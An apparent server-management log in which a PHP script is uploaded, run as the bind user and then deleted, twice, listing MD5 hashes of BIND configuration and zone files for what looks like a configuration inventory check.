MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:51:15: Establishing a connection
2026-04-25 19:51:15: 

PUT: /tmp/pkp339309

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:51:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp339309; rm /tmp/pkp339309'

2026-04-25 19:51:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:53:02: Establishing a connection
2026-04-25 19:53:02: 

PUT: /tmp/pkp317703

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:53:03: 

runuser -l bind -s /bin/bash -c '/tmp/pkp317703; rm /tmp/pkp317703'

2026-04-25 19:53:03: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
